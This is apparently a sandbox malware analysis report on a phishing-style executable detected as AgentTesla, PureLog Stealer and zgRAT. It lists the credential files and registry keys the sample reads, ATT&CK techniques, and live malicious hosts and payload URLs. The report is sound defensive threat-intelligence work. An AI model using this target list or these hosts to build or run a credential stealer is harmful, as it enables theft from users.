Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ShippingOrder_ GSHS2400052.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6816, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ShippingOrder_ GSHS2400052.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6816, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ShippingOrder_ GSHS2400052.exe PID: 6424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6816, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	131 Security Software Discovery	Distributed Component Object Model	21 Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	151 Virtualization/Sandbox Evasion	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ShippingOrder_ GSHS2400052.exe	34%	ReversingLabs	Win32.Trojan.AgentTesla
ShippingOrder_ GSHS2400052.exe	43%	Virustotal		Browse

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
mail.iaa-airferight.com	3%	Virustotal	Browse
playerenterprises.org	12%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Link
http://playerenterprises.org	12%	Virustotal	Browse
https://playerenterprises.org	1%	Virustotal	Browse
http://mail.iaa-airferight.com	3%	Virustotal	Browse
https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt0	10%	Virustotal	Browse
https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt	10%	Virustotal	Browse
https://playerenterprises.org/BaseVirtualEnvironment/yummy.txt	10%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
mail.iaa-airferight.com	46.175.148.58	true	true	3%, Virustotal, Browse	unknown
playerenterprises.org	193.222.96.147	true	false	12%, Virustotal, Browse	unknown
api.ipify.org	172.67.74.152	true	false		high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt	false	10%, Virustotal, Browse	unknown
https://playerenterprises.org/BaseVirtualEnvironment/yummy.txt	false	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://playerenterprises.org	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003A63000.00000004.00000800.00020000.00000000.sdmp	false	12%, Virustotal, Browse	unknown
https://api.ipify.org	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.4.dr	false		high
https://account.dyn.com/	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt0	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://playerenterprises.org	ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://mail.iaa-airferight.com	MSBuild.exe, 00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.175.148.58	mail.iaa-airferight.com	Ukraine	56394	ASLAGIDKOM-NETUA	true
193.222.96.147	playerenterprises.org	Germany	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429031
Start date and time:	2024-04-20 06:47:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ShippingOrder_ GSHS2400052.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/5@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 92% Number of executed functions: 79 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.29.7, 40.126.29.11, 40.126.29.12, 40.126.29.6, 40.126.29.9, 40.126.29.10, 40.126.29.13, 40.126.29.5, 199.232.210.172, 192.229.211.108, 40.68.123.157, 13.95.31.18, 20.42.73.29, 52.165.164.15
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, sls.update.microsoft.com, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target ShippingOrder_ GSHS2400052.exe, PID 6424 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:47:54	API Interceptor	55x Sleep call for process: ShippingOrder_ GSHS2400052.exe modified
06:48:01	API Interceptor	11274074x Sleep call for process: MSBuild.exe modified
06:48:16	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.175.148.58	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse
	SAMPLE PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse
	Eaton PO-45150292964.exe	Get hash	malicious	AgentTesla	Browse
	remittance payment of invoice DMWW24009.exe	Get hash	malicious	AgentTesla	Browse
	Proforma Invoice - Well Ergon.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.14523.13498.exe	Get hash	malicious	AgentTesla	Browse
	order Depeng POORD20231109001.exe	Get hash	malicious	AgentTesla	Browse
	Swift_copy.pdf (2).exe	Get hash	malicious	AgentTesla	Browse
	Swift Copy.exe	Get hash	malicious	AgentTesla	Browse
193.222.96.147	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse
172.67.74.152	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	https://prayas.co/assets/nagateliteqfuk.exe	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://28.104-168-101-28.cprapid.com/Pay-PaI/	Get hash	malicious	PayPal Phisher	Browse	192.229.211.108
	https://jainpokliultachor.pages.dev/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://sharma-sanjana2108.github.io/Microsoft/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	192.229.211.108
	https://19apmacc8.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://eshoradebitcoin.com/3.dat	Get hash	malicious	PureLog Stealer, zgRAT	Browse	192.229.211.108
	https://kajdbhfkjahsdifhi.z19.web.core.windows.net/Er0Win8helpline76/index.html	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://loo54.z11.web.core.windows.net/werrx01USAHTML/?bcda=1-844-621-0495	Get hash	malicious	TechSupportScam	Browse	192.229.211.108
mail.iaa-airferight.com	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SAMPLE PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Eaton PO-45150292964.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	remittance payment of invoice DMWW24009.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Proforma Invoice - Well Ergon.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.PWSX-gen.14523.13498.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	order Depeng POORD20231109001.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Swift_copy.pdf (2).exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Swift Copy.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
bg.microsoft.map.fastly.net	https://bj8lt4fm8evwyl.pages.dev/smart89/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://28.104-168-101-28.cprapid.com/Pay-PaI/	Get hash	malicious	PayPal Phisher	Browse	199.232.214.172
	https://sharma-sanjana2108.github.io/Microsoft/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://pusha1qsn.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
	https://support1-4ec.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://support-bxv.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
	https://k19gdtyrshgcjghldjk.z13.web.core.windows.net/Win/index.html?phone=null	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://19apmic17.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
	https://www.canva.com/design/DAGC4eUhMw0/cKr_ImwjL8JW0nUMNMi5QA/view?utm_content=DAGC4eUhMw0&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://app.box.com/s/hiphn6dvy4mquaedfrgoqd500cedhaza	Get hash	malicious	Unknown	Browse	199.232.210.172
playerenterprises.org	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	193.222.96.147
api.ipify.org	SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	IMG_210112052.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	z1E-catalogSamples.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	eOU2MVDmTd.exe	Get hash	malicious	CredGrabber, Meduza Stealer, PureLog Stealer, zgRAT	Browse	172.67.74.152
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	avp.msi	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://cvn7.sa.com/invoice.html?app=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASLAGIDKOM-NETUA	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	46.175.145.107
	SAMPLE PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Eaton PO-45150292964.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	remittance payment of invoice DMWW24009.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Proforma Invoice - Well Ergon.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	PURCHASE ORDER.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	SecuriteInfo.com.Win32.PWSX-gen.14523.13498.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	order Depeng POORD20231109001.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	Swift_copy.pdf (2).exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
SWISSCOMSwisscomSwitzerlandLtdCH	Encrypted_PaymentAdvice_Reference.html	Get hash	malicious	HTMLPhisher	Browse	193.222.96.119
	z42MNA2024000000041-KWINTMADI-11310Y_K.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	z14Novospedidosdecompra_Profil_4903.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	wFtZih4nN9.elf	Get hash	malicious	Mirai	Browse	85.7.65.219
	dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.11
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse	193.222.96.132
